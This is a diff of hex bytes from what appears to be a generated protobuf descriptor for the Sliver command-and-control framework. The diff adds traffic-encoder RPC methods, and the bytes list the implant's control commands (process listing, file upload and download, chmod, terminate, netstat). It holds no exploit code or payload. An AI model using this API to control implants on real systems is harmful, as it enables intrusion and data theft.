+ 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x41, 0x0a, 0x11, 0x54, 0x72,
+ 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12,
0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,
- 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73,
- 0x69, 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12,
- 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69,
- 0x74, 0x65, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65,
- 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x33, 0x0a, 0x0d, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65,
- 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
- 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d,
- 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x43, 0x0a, 0x11, 0x57, 0x65,
- 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12,
- 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69,
- 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63,
- 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12,
- 0x46, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65,
- 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e,
- 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
- 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x49, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69,
- 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12,
- 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69,
- 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a,
- 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69,
- 0x74, 0x65, 0x12, 0x26, 0x0a, 0x04, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x0e, 0x2e, 0x73, 0x6c, 0x69,
- 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69,
- 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x23, 0x0a, 0x02, 0x50, 0x73,
- 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x52, 0x65,
- 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x12,
- 0x38, 0x0a, 0x09, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74,
- 0x65, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x49, 0x66, 0x63,
- 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
- 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73,
+ 0x1a, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66,
+ 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x4c, 0x0a,
+ 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41,
+ 0x64, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72,
+ 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x1d, 0x2e, 0x63,
+ 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45,
+ 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x3d, 0x0a, 0x10, 0x54,
+ 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x6d, 0x12,
+ 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66,
+ 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d,
+ 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x57, 0x65,
+ 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
+ 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
+ 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x57,
+ 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x33, 0x0a, 0x0d,
+ 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x11, 0x2e,
+ 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65,
+ 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
+ 0x79, 0x12, 0x43, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43,
+ 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74,
+ 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57,
+ 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x46, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74,
+ 0x65, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b,
+ 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74,
+ 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c,
+ 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x49,
+ 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43,
+ 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43,
+ 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x26, 0x0a, 0x04, 0x50, 0x69, 0x6e,
+ 0x67, 0x12, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e,
+ 0x67, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e,
+ 0x67, 0x12, 0x23, 0x0a, 0x02, 0x50, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+ 0x70, 0x62, 0x2e, 0x50, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x50, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e,
+ 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54,
+ 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c,
+ 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65,
+ 0x12, 0x35, 0x0a, 0x08, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x15, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67,
- 0x12, 0x32, 0x0a, 0x07, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, 0x14, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x52, 0x65,
- 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74,
- 0x73, 0x74, 0x61, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x4c, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69,
- 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x24, 0x0a, 0x02, 0x43, 0x64, 0x12,
- 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x64, 0x52, 0x65, 0x71,
- 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12,
- 0x26, 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
- 0x62, 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x23, 0x0a, 0x02, 0x4d, 0x76, 0x12, 0x0f, 0x2e,
- 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x0c,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, 0x12, 0x23, 0x0a, 0x02,
- 0x43, 0x70, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70,
- 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43,
- 0x70, 0x12, 0x23, 0x0a, 0x02, 0x52, 0x6d, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x12, 0x2c, 0x0a, 0x05, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12,
- 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72,
- 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d,
- 0x6b, 0x64, 0x69, 0x72, 0x12, 0x35, 0x0a, 0x08, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64,
- 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e,
- 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x55,
- 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
- 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69,
- 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x29, 0x0a, 0x04,
- 0x47, 0x72, 0x65, 0x70, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x47, 0x72, 0x65, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x47, 0x72, 0x65, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6d, 0x6f, 0x64,
- 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f,
- 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x12,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x52,
- 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68,
- 0x6f, 0x77, 0x6e, 0x12, 0x32, 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x14,
- 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65,
- 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x37, 0x0a, 0x0c, 0x4d, 0x65, 0x6d, 0x66, 0x69,
- 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52,
+ 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49,
+ 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x32, 0x0a, 0x07, 0x4e, 0x65, 0x74, 0x73, 0x74,
+ 0x61, 0x74, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65,
+ 0x74, 0x73, 0x74, 0x61, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x4c,
+ 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x52,
0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73,
- 0x12, 0x3e, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x12,
- 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69,
- 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76,
- 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64,
- 0x12, 0x3b, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x12, 0x17,
+ 0x12, 0x24, 0x0a, 0x02, 0x43, 0x64, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x43, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+ 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x26, 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x10, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a,
+ 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x23,
+ 0x0a, 0x02, 0x4d, 0x76, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x4d, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+ 0x2e, 0x4d, 0x76, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x70, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x12, 0x23, 0x0a, 0x02, 0x52, 0x6d, 0x12, 0x0f,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a,
+ 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x12, 0x2c, 0x0a,
+ 0x05, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x35, 0x0a, 0x08, 0x44,
+ 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+ 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f,
+ 0x61, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65,
+ 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c,
+ 0x6f, 0x61, 0x64, 0x12, 0x29, 0x0a, 0x04, 0x47, 0x72, 0x65, 0x70, 0x12, 0x11, 0x2e, 0x73, 0x6c,
+ 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x72, 0x65, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0e,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x72, 0x65, 0x70, 0x12, 0x2c,
+ 0x0a, 0x05, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+ 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c,
+ 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x2c, 0x0a, 0x05,
+ 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+ 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x32, 0x0a, 0x07, 0x43, 0x68,
+ 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+ 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c,
+ 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x37,
+ 0x0a, 0x0c, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x19,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c,
- 0x65, 0x73, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x12, 0x2c, 0x0a,
- 0x05, 0x4d, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
- 0x62, 0x2e, 0x4d, 0x6f, 0x75, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69,
- 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x3e, 0x0a, 0x0b, 0x50,
